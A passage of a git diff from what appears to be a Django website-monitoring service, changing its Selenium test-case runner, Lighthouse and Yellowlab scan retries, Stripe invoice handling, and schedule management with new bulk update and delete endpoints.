+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
+                
+                except Exception as e:
+                    print(e)
+        
+        
+            if step['action']['type'] == 'change':
+                try:
+                    print(f'changing element to value -> {step["action"]["value"]}') 
+                    # using selenium, find and change the 'element'.value
+                    selector = self.format_element(step["action"]["element"]["selector"])
+                    xpath = self.format_element(step["action"]["element"]["xpath"])
+                    element_data = self.get_element(selector, xpath)
+                    element = element_data['element']
+
+                    # checking if element was found
+                    if element_data['failed']:
+                        raise Exception(f'Unable to locate element with the given Selector and xPath')
+
+                    # scrolling to element and back down a bit
+                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+                    self.driver.execute_script("arguments[0].scrollIntoView();", element)
+                    self.driver.execute_script("window.scrollBy(0, -100);")
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
+
+                    # get elem img & update self.steps
+                    img = self.get_element_image(element)
+                    self.steps[i]['action']['img'] = img
+
+                    # changing value of element
+                    value = step["action"]["value"]
+                    element.send_keys(value)
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
+
+                except Exception as e:
+                    print(e)
+
+
+            if step['action']['type'] == 'keyDown':
+                try:
+                    print(f'keyDown action for key -> {step["action"]["key"]}')
+                    # getting last known element
+                    n = (i - 1)
+                    elm = None
+                    while True:
+                        elm = self.steps[n]['action']['element']['selector']
+                        if elm != None and len(elm) != 0:
+                            break
+                        n -= 1
+                    selector = self.format_element(elm)
+                                
+                    # using selenium, find element and send 'Key' event
+                    selector = self.format_element(step["action"]["element"]["selector"])
+                    xpath = self.format_element(step["action"]["element"]["xpath"])
+                    element_data = self.get_element(selector, xpath)
+                    element = element_data['element']
+
+                    # checking if element was found
+                    if element_data['failed']:
+                        raise Exception(f'Unable to locate element with the given Selector and xPath')
+
+                    # scrolling to element and back down a bit
+                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+                    self.driver.execute_script("arguments[0].scrollIntoView();", element)
+                    self.driver.execute_script("window.scrollBy(0, -100);")
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
+
+                    # get elem img & update self.steps
+                    img = self.get_element_image(element)
+                    self.steps[i]['action']['img'] = img
+
+                    # using selenium, press the selected key
+                    element.send_keys(self.s_keys.get(step["action"]["key"], step["action"]["key"]))
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
+
+                except Exception as e:
+                    print(e)
+
+
+            # increment step
+            i += 1  
+
+            # update process
+            self.update_process(
+                current=(i+1), 
+                total=self.case.steps['num_steps'], 
+                complete=False
+            )
+
+
+        # update case
+        steps_data = self.save_case_steps(self.steps, str(self.case.id))
+        self.case.steps = steps_data
+        self.case.processed = True
+        self.case.save()
+
+        quit_driver(driver=self.driver)
+        print('-- case pre_run complete --')
+        
+        # update process
+        self.update_process(current=1, total=1, complete=True)
+        
+        return None
+
+
+
+
     
     
\ No newline at end of file
diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index dbcca330..0f77277a 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -222,7 +222,7 @@ def process_data(self, stdout_json: dict) -> dict:
     def get_data(self):
 
         scan_complete = False
-        failed = None
+        failed = True
         attempts = 0
 
         # trying lighthouse scan untill success or 2 attempts
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 45592aca..f0aa96b4 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -452,12 +452,15 @@ def _lighthouse(scan_id: str, test_id: str=None, automation_id: str=None) -> obj
     try:
         # running lighthouse
         lh_data = Lighthouse(scan=scan).get_data() 
+        print(f'LIGHTHOUSE failure_status -> {lh_data.get('failed')}')
         
         # updating Scan object
         scan = Scan.objects.get(id=scan_id)
         scan.lighthouse = lh_data
         scan.save()
     except Exception as e:
+        scan.yellowlab['failed'] = True
+        scan.save()
         print(e)
 
     # checking if scan is done
@@ -489,12 +492,15 @@ def _yellowlab(scan_id: str, test_id: str=None, automation_id: str=None) -> obje
     try:
         # running yellowlab
         yl_data = Yellowlab(scan=scan).get_data()
+        print(f'YELLOWLAB failure_status -> {yl_data.get('failed')}')
         
         # updating Scan object
         scan = Scan.objects.get(id=scan_id)
         scan.yellowlab = yl_data
         scan.save()
     except Exception as e:
+        scan.yellowlab['failed'] = True
+        scan.save()
         print(e)
 
     # checking if scan is done
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index c6e11480..c464ac4f 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -224,16 +224,23 @@ def process_data(self, stdout_json: dict) -> dict:
     def get_data(self):
 
         scan_complete = False
-        failed = None
+        failed = True
         attempts = 0
         
-        # trying yellowlab scan untill success or 2 attempts
+        # trying yellowlab scan until success or 2 attempts
         while not scan_complete and attempts < 2:
 
             try:
-                # API method only
-                raw_data = self.yellowlab_api()
-                self.process_data(stdout_json=raw_data)
+                # CLI on first attempt
+                if attempts < 1:
+                    raw_data = self.yellowlab_cli()
+                    self.process_data(stdout_json=raw_data)
+                
+                # API after first attempt
+                if attempts >= 1:
+                    raw_data = self.yellowlab_api()
+                    self.process_data(stdout_json=raw_data)
+
                 scan_complete = True
                 failed = False
 
diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index 2251f4a5..50ee8e64 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -614,9 +614,9 @@ def cancel_subscription(request: object=None, account: object=None) -> object:
         # update Account plan
         account.type = 'free'
         account.max_sites = 1
-        account.max_schedules = 0
-        account.max_pages = 1
-        account.retention_days = '3'
+        account.max_schedules = 1
+        account.max_pages = 3
+        account.retention_days = '15'
         account.interval = 'month'
         account.price_amount = 0
         account.cust_id = None
@@ -633,6 +633,7 @@ def cancel_subscription(request: object=None, account: object=None) -> object:
             'testcases_allowed': 15,
         }
         account.meta['last_usage_reset'] = datetime.today().strftime('%Y-%m-%d %H:%M:%S.%f')
+        account.meta['coupon'] = {"code": "", "discount": 0}
 
         # save Account
         account.save()
@@ -696,11 +697,41 @@ def get_stripe_invoices(request: object) -> object:
         # build list of Stripe Invice objects
         for invoice in invoice_body.data:
 
-            # clean product name & get interval
-            product_name = invoice['lines']['data'][0]['description']
-            product_name = product_name.split('1 × ')[1].split(' (')[0]
-            interval = invoice['lines']['data'][0]['plan']['interval']
-
+            # setting defaults
+            items = []
+            product_name = None
+            interval = None
+
+            # create line items
+            for item in invoice['lines']['data']:
+
+                # add item data
+                items.append({
+                    'amount': item['amount'],
+                    'description': item['description'],
+                    'period_start': item['period']['start'],
+                    'period_end': item['period']['end'],
+                    'quantity': item['quantity'],
+                    'proration': item['proration']
+                })
+
+                # getting product name and interval if item 
+                # is not proration
+                if not item['proration']:
+                    # get product_name
+                    if 'basic' in item['description'].lower():
+                        product_name = 'Basic'
+                    if 'pro' in item['description'].lower():
+                        product_name = 'Pro'
+                    if 'plus' in item['description'].lower():
+                        product_name = 'Plus'
+                    if 'custom' in item['description'].lower():
+                        product_name = 'Custom'
+                    if 'enterprise' in item['description'].lower():
+                        product_name = 'Enterprise'
+                    # get interval
+                    interval = item['plan']['interval']
+            
             # get end_date
             period_start = datetime.fromtimestamp(invoice.period_start)
             new = period_start + timedelta(days=30 if interval == 'month' else 365)
@@ -709,6 +740,8 @@ def get_stripe_invoices(request: object) -> object:
             i_list.append({
                 'id': invoice.id,
                 'status': invoice.status,
+                'subtotal': invoice.subtotal,
+                'subtotal_excluding_tax': invoice.subtotal_excluding_tax,
                 'price_amount': invoice.amount_paid,
                 'created': invoice.created,
                 'due_date': invoice.due_date,
@@ -718,7 +751,8 @@ def get_stripe_invoices(request: object) -> object:
                 'invoice_pdf': invoice.invoice_pdf,
                 'number': invoice.number,
                 'period_start': invoice.period_start,
-                'period_end': period_end
+                'period_end': period_end,
+                'items': items
             })
         
         # format response
diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py
index a5f10e5f..ef68c06b 100644
--- a/app/api/v1/ops/serializers.py
+++ b/app/api/v1/ops/serializers.py
@@ -36,7 +36,7 @@ class ProcessSerializer(serializers.HyperlinkedModelSerializer):
     class Meta:
         model = Process
         fields = ['id', 'site', 'type', 'time_created', 'time_completed',
-        'success', 'info_url', 'progress', 'info', 'exception'
+        'success', 'info_url', 'progress', 'info', 'exception', 'object_id'
         ]
 
 
@@ -146,7 +146,6 @@ class Meta:
 
 
 class ScheduleSerializer(serializers.HyperlinkedModelSerializer):
-    site = serializers.PrimaryKeyRelatedField(**kwargs)
     user = serializers.ReadOnlyField(source='user.username')
     id = serializers.PrimaryKeyRelatedField(**kwargs)
     automation = serializers.PrimaryKeyRelatedField(**kwargs)
@@ -154,9 +153,10 @@ class ScheduleSerializer(serializers.HyperlinkedModelSerializer):
 
     class Meta:
         model = Schedule
-        fields = ['id', 'site', 'time_created', 'user', 'task_type',
+        fields = ['id', 'time_created', 'user', 'task_type',
         'timezone', 'begin_date', 'time', 'frequency', 'task', 'crontab_id',
-        'periodic_task_id', 'status', 'automation', 'extras', 'account',
+        'periodic_task_id', 'status', 'automation', 'extras', 'account', 
+        'scope', 'resources', 'time_last_run',
         ]
 
 
@@ -202,7 +202,8 @@ class CaseSerializer(serializers.HyperlinkedModelSerializer):
     class Meta:
         model = Case
         fields = ['id', 'name', 'user', 'steps', 'time_created',
-        'tags', 'account', 'site', 'type', 'site_url',
+        'tags', 'account', 'site', 'type', 'site_url', 
+        'processed'
         ]
 
 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index bbaa367b..e5f8b908 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -19,7 +19,7 @@
 from ...utils.wordpress import Wordpress as W
 from ...utils.caser import Caser
 from ...utils.crawler import Crawler
-import json, boto3, asyncio, os, requests, uuid
+import json, boto3, asyncio, os, requests, uuid, secrets
 
 
 
@@ -749,7 +749,7 @@ def delete_site(request: object=None, id: str=None, account: object=None) -> obj
     delete_site_s3_bg.delay(site_id=id)
     
     # remove any associated tasks 
-    delete_tasks(site=site)
+    delete_tasks_and_schedules(resource_id=str(site.id), scope='site', account=account)
 
     # remove any site associated Issues
     Issue.objects.filter(affected__icontains=str(id)).delete()
@@ -1292,7 +1292,7 @@ def delete_page(request: object=None, id: str=None, account: object=None) -> obj
     delete_page_s3_bg.delay(page_id=id, site_id=page.site.id)
 
     # remove any schedules and associated tasks
-    delete_tasks(page=page)
+    delete_tasks_and_schedules(resource_id=str(page.id), scope='page', account=account)
 
     # remove any associated Issues
     Issue.objects.filter(affected__icontains=str(id)).delete()
@@ -2277,7 +2277,6 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
 
         # running test in background
         create_test_bg.delay(
-            page_id=p.id,
             test_id=test.id,
             configs=configs,
             type=test_type,
@@ -2823,6 +2822,22 @@ def create_or_update_issue(request: object=None, **kwargs) -> object:
         account_id = kwargs.get('account_id')
         account = Account.objects.get(id=account_id)
 
+    # check account and resource
+    check_data = check_account_and_resource(user=account.user, 
+        issue_id=id, resource='issue'
+    )
+    if not check_data['allowed']:
+        data = {
+            'reason': check_data['error'], 
+            'success': False, 
+            'code': check_data['code'], 
+            'status': check_data['status']
+        }
+        if request is not None:
+            record_api_call(request, data, check_data['code'])
+            return Response(data, status=check_data['status'])
+        return data
+
     # get Issue if id is present
     if id is not None:
         issue = Issue.objects.get(id=id)
@@ -2865,7 +2880,75 @@ def create_or_update_issue(request: object=None, **kwargs) -> object:
         return Response(data, status=status.HTTP_200_OK)
     
     # return object response
-    return issue
+    data = {
+        'success': True, 
+        'issue': issue,
+    }
+    return data
+
+
+
+
+def update_many_issues(request: object=None) -> object:
+    """ 
+    Updates many `Issues` passed in a list
+
+    Expects: {
+        'ids'     : list
+        'updates' : dict
+    }
+    
+    Returns -> HTTP Response object
+    """
+    
+    #  get request data
+    ids = request.data.get('ids')
+    updates = request.data.get('updates')
+    member = Member.objects.get(user=request.user)
+    account = member.account
+
+    # set defaults
+    num_succeeded = 0
+    succeeded = []
+    num_failed = 0
+    failed = []
+    this_status = True
+
+    # loop through ids and update
+    for id in ids:
+        # reformat update data
+        data = updates
+        data['id'] = str(id)
+        data['account_id'] = str(account.id)
+
+        # send update
+        try:
+            res = create_or_update_issue(**data)
+            if res['success']:
+                num_succeeded += 1
+                succeeded.append(str(id))
+            else:
+                num_failed += 1
+                this_status = False
+                failed.append(str(id))
+                print(res['message'])
+        except Exception as e:
+            print(e)
+            if str(id) not in failed:
+                num_failed += 1
+                this_status = False
+                failed.append(str(id))
+
+    # format and return
+    data = {
+        'success': this_status,
+        'num_succeeded': num_succeeded,
+        'succeeded': succeeded,
+        'num_failed': num_failed,
+        'failed': failed, 
+    }
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
 
 
 
@@ -3057,6 +3140,62 @@ def delete_issue(request: object, id: str) -> object:
 
 
 
+def delete_many_issues(request: object=None) -> object:
+    """ 
+    Deletes many `Issues` passed in a list
+
+    Expects: {
+        'ids': list
+    }
+    
+    Returns -> HTTP Response object
+    """
+    
+    #  get request data
+    ids = request.data.get('ids')
+    member = Member.objects.get(user=request.user)
+    account = member.account
+
+    # set defaults
+    num_succeeded = 0
+    succeeded = []
+    num_failed = 0
+    failed = []
+    this_status = True
+
+    # loop through ids and delete
+    for id in ids:
+
+        # delete issue
+        try:
+            issue = Issue.objects.get(id=id)
+            if issue.account == account:
+                issue.delete()
+            elif str(id) not in failed:
+                num_failed += 1
+                this_status = False
+                failed.append(str(id))
+        except Exception as e:
+            print(e)
+            if str(id) not in failed:
+                num_failed += 1
+                this_status = False
+                failed.append(str(id))
+
+    # format and return
+    data = {
+        'success': this_status,
+        'num_succeeded': num_succeeded,
+        'succeeded': succeeded,
+        'num_failed': num_failed,
+        'failed': failed, 
+    }
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
 def get_issues_zapier(request: object) -> object:
     """ 
     Get all `Issues` associated with user's Account.
@@ -3134,7 +3273,7 @@ def get_issues_zapier(request: object) -> object:
 
 
 
-def create_or_update_schedule(request: object) -> object:
+def create_or_update_schedule(request: object=None, **kwargs) -> object:
     """ 
     Creates or Updates a `Schedule` 
 
@@ -3146,24 +3285,45 @@ def create_or_update_schedule(request: object) -> object:
     """
 
     # get request data
-    schedule_status = request.data.get('status')
-    begin_date_raw = request.data.get('begin_date')
-    time = request.data.get('time')
-    timezone = request.data.get('timezone')
-    freq = request.data.get('frequency')
-    task_type = request.data.get('task_type')
-    test_type = request.data.get('test_type', settings.TYPES)
-    scan_type = request.data.get('scan_type', settings.TYPES)
-    configs = request.data.get('configs', None)
-    threshold = request.data.get('threshold', settings.TEST_THRESHOLD)
-    schedule_id = request.data.get('schedule_id')
-    site_id = request.data.get('site_id')
-    page_id = request.data.get('page_id')
-    case_id = request.data.get('case_id')
-    updates = request.data.get('updates')
+    if request:
+        schedule_status = request.data.get('status')
+        begin_date_raw = request.data.get('begin_date')
+        time = request.data.get('time')
+        timezone = request.data.get('timezone')
+        freq = request.data.get('frequency')
+        task_type = request.data.get('task_type')
+        test_type = request.data.get('test_type', settings.TYPES)
+        scan_type = request.data.get('scan_type', settings.TYPES)
+        configs = request.data.get('configs', None)
+        threshold = request.data.get('threshold', settings.TEST_THRESHOLD)
+        schedule_id = request.data.get('schedule_id')
+        resources = request.data.get('resources')
+        scope = request.data.get('scope')
+        case_id = request.data.get('case_id')
+        updates = request.data.get('updates')
+        user = request.user
+    
+    if not request:
+        schedule_status = kwargs.get('status')
+        begin_date_raw = kwargs.get('begin_date')
+        time = kwargs.get('time')
+        timezone = kwargs.get('timezone')
+        freq = kwargs.get('frequency')
+        task_type = kwargs.get('task_type')
+        test_type = kwargs.get('test_type', settings.TYPES)
+        scan_type = kwargs.get('scan_type', settings.TYPES)
+        configs = kwargs.get('configs', None)
+        threshold = kwargs.get('threshold', settings.TEST_THRESHOLD)
+        schedule_id = kwargs.get('schedule_id')
+        resources = kwargs.get('resources')
+        scope = kwargs.get('scope')
+        case_id = kwargs.get('case_id')
+        updates = kwargs.get('updates')
+        user_id = kwargs.get('user_id')
+        user = User.objects.get(id=user_id)
+        
 
-    # get user and account
-    user = request.user
+    # get account
     account = Member.objects.get(user=user).account
 
     # updating configs if None:
@@ -3171,43 +3331,36 @@ def create_or_update_schedule(request: object) -> object:
 
     # setting defaults
     schedule = None
-    site = None
-    page = None
     
     # deciding on action type
     action = 'add' if not schedule_id else None
 
     # checking account and resource 
     check_data = check_account_and_resource(
-        request=request, resource='schedule', page_id=page_id, 
-        site_id=site_id, schedule_id=schedule_id, action=action
+        user=user, resource='schedule', 
+        schedule_id=schedule_id, action=action
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, check_data['code'])
-        return Response(data, status=check_data['status'])
+        if request:
+            record_api_call(request, data, check_data['code'])
+            return Response(data, status=check_data['status'])
+        return data
 
     # get schedule if checks passed and id is present
     if schedule_id:
         schedule = Schedule.objects.get(id=schedule_id)
-    
-    # converting to str for **kwargs
-    if site_id is not None:
-        site_id = str(site_id)
-        site = Site.objects.get(id=site_id)
-    if page_id is not None:
-        page_id = str(page_id)
-        page = Page.objects.get(id=page_id)
 
     # toggling schedule status
     if schedule_status != None and schedule != None:
+        # update task
         task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
-        if task.enabled == True:
+        if schedule_status == 'Paused':
             task.enabled = False
-            schedule.status = 'Paused'
-        else:
+        if schedule_status == 'Active':
             task.enabled = True
-            schedule.status = 'Active'
+        # update schedule
+        schedule.status = schedule_status
         task.save() 
         schedule.save()
     
@@ -3226,14 +3379,15 @@ def create_or_update_schedule(request: object) -> object:
 
         # build args
         arguments = {
-            'site_id': site_id,
-            'page_id': page_id,
+            'scope': scope,
+            'resources': resources,
+            'account_id': str(account.id),
             'updates': updates,
             'configs': configs,
             'case_id': case_id,
             'type': scan_type if task_type == 'scan' else test_type,
             'threshold': threshold,
-            'automation_id': auto_id
+            'automation_id': auto_id,
         }
 
         # setting start date default
@@ -3261,16 +3415,11 @@ def create_or_update_schedule(request: object) -> object:
             day_of_week = '*'
             day_of_month = day
 
-        # deciding on scope
-        if site is not None:
-            url = site.site_url
-            level = 'site'
-        if page is not None:
-            url = page.page_url
-            level = 'page'
+        # create unique str for 
+        rand_str = secrets.token_urlsafe(6)
 
         # building unique task name
-        task_name = f'{task_type}_{level}_{url}_{freq}_@{time}_{account.user.id}'
+        task_name = f'{task_type}_{scope}_{rand_str}_{freq}_@{time}_{account.user.id}'
 
         # building or updating crontab 
         crontab, _ = CrontabSchedule.objects.get_or_create(
@@ -3287,6 +3436,11 @@ def create_or_update_schedule(request: object) -> object:
             if PeriodicTask.objects.filter(id=schedule.periodic_task_id).exists():
                 # update existing task
                 periodic_task = PeriodicTask.objects.filter(id=schedule.periodic_task_id)
+                
+                # grabbing task_id
+                arguments['task_id'] = str(periodic_task[0].id)
+               
+                # updating task with args
                 periodic_task.update(
                     crontab=crontab,
                     name=task_name, 
@@ -3301,17 +3455,25 @@ def create_or_update_schedule(request: object) -> object:
 
             # check if task exists
             if PeriodicTask.objects.filter(name=task_name).exists():
-                data = {'reason': 'Schedule already exists',}
-                record_api_call(request, data, '401')
-                return Response(data, status=status.HTTP_401_UNAUTHORIZED)
+                data = {'reason': 'Schedule already exists', 'code': '401'}
+                if request:
+                    record_api_call(request, data, '401')
+                    return Response(data, status=status.HTTP_401_UNAUTHORIZED)
+                return data
 
             # create new periodic task 
             periodic_task = PeriodicTask.objects.create(
                 crontab=crontab, 
                 name=task_name, 
-                task=task,
-                kwargs=json.dumps(arguments),
+                task=task,   
             )
+            
+            # inserting task_id
+            arguments['task_id'] = str(periodic_task.id)
+            
+            # updating args
+            periodic_task.kwargs = json.dumps(arguments)
+            periodic_task.save()
 
         # building extras for scheduls
         extras = {
@@ -3325,7 +3487,7 @@ def create_or_update_schedule(request: object) -> object:
         
         # update existing schedule
         if schedule:
-            
+
             # update each param if passed
             if timezone:
                 schedule.timezone = timezone
@@ -3343,6 +3505,8 @@ def create_or_update_schedule(request: object) -> object:
                 schedule.task_type = task_type
             if extras:
                 schedule.extras = extras 
+            if resources is not None:
+                schedule.resources = resources
             
             # save udpdates
             schedule.save()
@@ -3351,8 +3515,8 @@ def create_or_update_schedule(request: object) -> object:
         if not schedule:
             schedule = Schedule.objects.create(
                 user=request.user, 
-                site=site,
-                page=page, 
+                scope=scope,
+                resources=resources, 
                 task_type=task_type, 
                 timezone=timezone,
                 begin_date=begin_date, 
@@ -3365,6 +3529,147 @@ def create_or_update_schedule(request: object) -> object:
                 account=account
             )
 
+    # deciding on response type
+    if request:
+        # serialize and return
+        serializer_context = {'request': request,}
+        data = ScheduleSerializer(schedule, context=serializer_context).data
+        record_api_call(request, data, '200')
+        response = Response(data, status=status.HTTP_200_OK)
+        return response
+    
+    # return object response
+    data = {
+        'success': True, 
+        'schedule': schedule,
+    }
+    return data
+
+
+
+
+def update_many_schedules(request: object=None) -> object:
+    """ 
+    Updates many `Schedules` passed in a list
+
+    Expects: {
+        'ids'     : list
+        'updates' : dict
+    }
+    
+    Returns -> HTTP Response object
+    """
+    
+    #  get request data
+    ids = request.data.get('ids')
+    updates = request.data.get('updates')
+    member = Member.objects.get(user=request.user)
+    account = member.account
+
+    # set defaults
+    num_succeeded = 0
+    succeeded = []
+    num_failed = 0
+    failed = []
+    this_status = True
+
+    # loop through ids and update
+    for id in ids:
+        # reformat update data
+        data = updates
+        data['schedule_id'] = str(id)
+        data['user_id'] = str(request.user.id)
+
+        # send update
+        try:
+            res = create_or_update_schedule(**data)
+            if res['success']:
+                num_succeeded += 1
+                succeeded.append(str(id))
+            else:
+                num_failed += 1
+                this_status = False
+                failed.append(str(id))
+                print(res['message'])
+        except Exception as e:
+            print(e)
+            if str(id) not in failed:
+                num_failed += 1
+                this_status = False
+                failed.append(str(id))
+
+    # format and return
+    data = {
+        'success': this_status,
+        'num_succeeded': num_succeeded,
+        'succeeded': succeeded,
+        'num_failed': num_failed,
+        'failed': failed, 
+    }
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def run_schedule(request: object) -> object:
+    """
+    Grabs all the args from the asociated perodic_task
+    and executes the task manually without interupting
+    the perodic_task's normal cycle.
+
+    Expects: {
+        requests: object
+    } 
+
+    Return -> HTTP Response object
+    """
+
+    # get request data
+    schedule_id = request.data.get('schedule_id')
+
+    # get user and account
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # checking account and resource 
+    check_data = check_account_and_resource(
+        request=request, resource='schedule', 
+        schedule_id=schedule_id,
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get schedule and assocated task if checks passed
+    schedule = Schedule.objects.get(id=schedule_id)
+    task = schedule.task_type
+    perodic_task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
+    task_kwargs = json.loads(perodic_task.kwargs)
+
+    # decidign on which task 
+    if task == 'scan':
+        # run create_scan_bg
+        create_scan_bg.delay(
+            **task_kwargs
+        )
+    if task == 'test':
+        # run create_test_bg
+        create_test_bg.delay(
+            **task_kwargs
+        )
+    if task == 'testcase':
+        # run create_testcase_bg
+        create_testcase_bg.delay(
+            **task_kwargs
+        )
+    if task == 'report':
+        # run create_report_bg
+        create_report_bg.delay(
+            **task_kwargs
+        )
+
     # serialize and return
     serializer_context = {'request': request,}
     data = ScheduleSerializer(schedule, context=serializer_context).data
@@ -3388,8 +3693,8 @@ def get_schedules(request: object) -> object:
 
     # get request data
     schedule_id = request.query_params.get('schedule_id')
-    site_id = request.query_params.get('site_id')
-    page_id = request.query_params.get('page_id')
+    scope = request.query_params.get('scope')
+    resource_id = request.query_params.get('resource_id')
     user = request.user
     account = Member.objects.get(user=user).account
 
@@ -3398,7 +3703,7 @@ def get_schedules(request: object) -> object:
 
     # check account and resource 
     check_data = check_account_and_resource(
-        user=user, resource='schedule', page_id=page_id, site_id=site_id, 
+        user=user, resource='schedule',
         schedule_id=schedule_id
     )
     if not check_data['allowed']:
@@ -3419,21 +3724,28 @@ def get_schedules(request: object) -> object:
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
 
-    # get all page scoped schedules
-    if not site_id and not page_id:
-        schedules = Schedule.objects.filter(account=account).order_by('-time_created')
-    
-    # get all site scoped schedules
-    if site_id and not schedules:
-        site = Site.objects.get(id=site_id)
-        schedules = Schedule.objects.filter(site=site).order_by('-time_created')
-    
-    # get all page scoped schedules
-    if page_id and not schedules:
-        print('getting Schedules by page_id')
-        page = Page.objects.get(id=page_id)
-        schedules = Schedule.objects.filter(page=page).order_by('-time_created')
+    # get all account scoped schedules
+    if scope == 'account':
+        schedules = Schedule.objects.filter(
+            account=account,
+            scope='account'
+        ).order_by('-time_created')
+
+    # get all non account scoped
+    if scope != 'account' and resource_id is None:
+        schedules = Schedule.objects.filter(
+            account=account,
+            scope=scope
+        ).order_by('-time_created')
     
+    # get all non account scoped schedules with resource_id
+    if scope != 'account' and resource_id:
+        schedules = Schedule.objects.filter(
+            account=account,
+            resources__icontains=resource_id,
+            scope=scope
+        ).order_by('-time_created')
+
     # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(schedules, request)
@@ -3526,39 +3838,99 @@ def delete_schedule(request: object, id: str) -> object:
 
 
 
-def delete_tasks(page: object=None, site: object=None) -> None:
+def delete_many_schedules(request: object=None) -> object:
+    """ 
+    Deletes many `Schedules` passed in a list
+
+    Expects: {
+        'ids': list
+    }
+    
+    Returns -> HTTP Response object
+    """
+    
+    #  get request data
+    ids = request.data.get('ids')
+    member = Member.objects.get(user=request.user)
+    account = member.account
+
+    # set defaults
+    num_succeeded = 0
+    succeeded = []
+    num_failed = 0
+    failed = []
+    this_status = True
+
+    # loop through ids and delete
+    for id in ids:
+
+        # delete schedule
+        try:
+            schedule = Schedule.objects.get(id=id)
+            task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
+            if schedule.account == account:
+                schedule.delete()
+                task.delete()
+            elif str(id) not in failed:
+                num_failed += 1
+                this_status = False
+                failed.append(str(id))
+        except Exception as e:
+            print(e)
+            if str(id) not in failed:
+                num_failed += 1
+                this_status = False
+                failed.append(str(id))
+
+    # format and return
+    data = {
+        'success': this_status,
+        'num_succeeded': num_succeeded,
+        'succeeded': succeeded,
+        'num_failed': num_failed,
+        'failed': failed, 
+    }
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def delete_tasks_and_schedules(
+        resource_id : str=None, 
+        scope       : object=None, 
+        account     : object=None
+    ) -> None:
     """ 
     Helper function to delete any `Schedules` & `PerodicTasks`
-    associated with the passed "site" or "page"
+    associated with the passed "resource_id", "scope", and 
+    "account"
 
     Expects: {
-        'page': object, 
-        'site': object
+        'resource_id'   : str, 
+        'scope'         : str
+        'account'       : object
     }
 
     Returns -> None
     """ 
-
-    # get any schedules
-    schedules = []
-    
-    # get all page scopped Schedules
-    if page:
-        schedules += Schedule.objects.filter(page=page)
-    
-    # get all site & page scopped Schedules
-    if site:
-        # get site scopped
-        schedules += Schedule.objects.filter(site=site)
-        # iterate over each site associated page and to schedules[]
-        pages = Page.objects.filter(site=site)
-        for p in pages:
-            schedules += Schedule.objects.filter(page=p)
+    # get all scopped Schedules
+    schedules = Schedule.objects.filter(
+        resources__icontains=resource_id,
+        account=account,
+        scope=scope 
+    )
 
     # remove any associated tasks
     for schedule in schedules:
         task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
-        task.delete()
+        try:
+            task.delete()
+        except Exception as e:
+            print(e)
+    
+    # delete Schedules
+    schedules.delete()
     
     return None
 
@@ -3583,8 +3955,6 @@ def create_or_update_automation(request: object) -> object:
     
     # get request data
     actions = request.data.get('actions')
-    site_id = request.data.get('site_id')
-    page_id = request.data.get('page_id')
     schedule_id = request.data.get('schedule_id')
     automation_id = request.data.get('automation_id')
     name = request.data.get('name')
@@ -3604,8 +3974,7 @@ def create_or_update_automation(request: object) -> object:
     # checking account and resource 
     check_data = check_account_and_resource(
         request=request, resource=resource, 
-        automation_id=automation_id, schedule_id=schedule_id, 
-        site_id=site_id, page_id=page_id
+        automation_id=automation_id, schedule_id=schedule_id,
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -3652,25 +4021,19 @@ def create_or_update_automation(request: object) -> object:
 
         # update associated periodicTask
         task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
-        
-        # get associated page or site id
-        site_id = None
-        if schedule.site is not None:
-            site_id = str(schedule.site.id)
-        page_id = None
-        if schedule.page is not None:
-            page_id = str(schedule.page.id)
 
         # update periodic task
         arguments = {
-            'site_id': site_id,
-            'page_id': page_id,
+            'scope': json.loads(task.kwargs).get('scope'),
+            'resources': json.loads(task.kwargs).get('resources'),
+            'account_id': json.loads(task.kwargs).get('account_id'),
             'automation_id': str(automation.id),
             'configs': json.loads(task.kwargs).get('configs'), 
             'type': json.loads(task.kwargs).get('type'),
             'threshold': json.loads(task.kwargs).get('threshold'),
             'case_id': json.loads(task.kwargs).get('case_id'),
-            'updates': json.loads(task.kwargs).get('updates')
+            'updates': json.loads(task.kwargs).get('updates'),
+            'task_id': json.loads(task.kwargs).get('task_id'),
         }
         task.kwargs=json.dumps(arguments)
         task.save()
@@ -4157,7 +4520,7 @@ def create_or_update_case(request: object) -> object:
     if case_id:
         case = Case.objects.get(id=case_id)
 
-    # udpate case   
+    # update Case   
     if case:
         if steps is not None:
             steps_data = save_case_steps(steps, case_id)
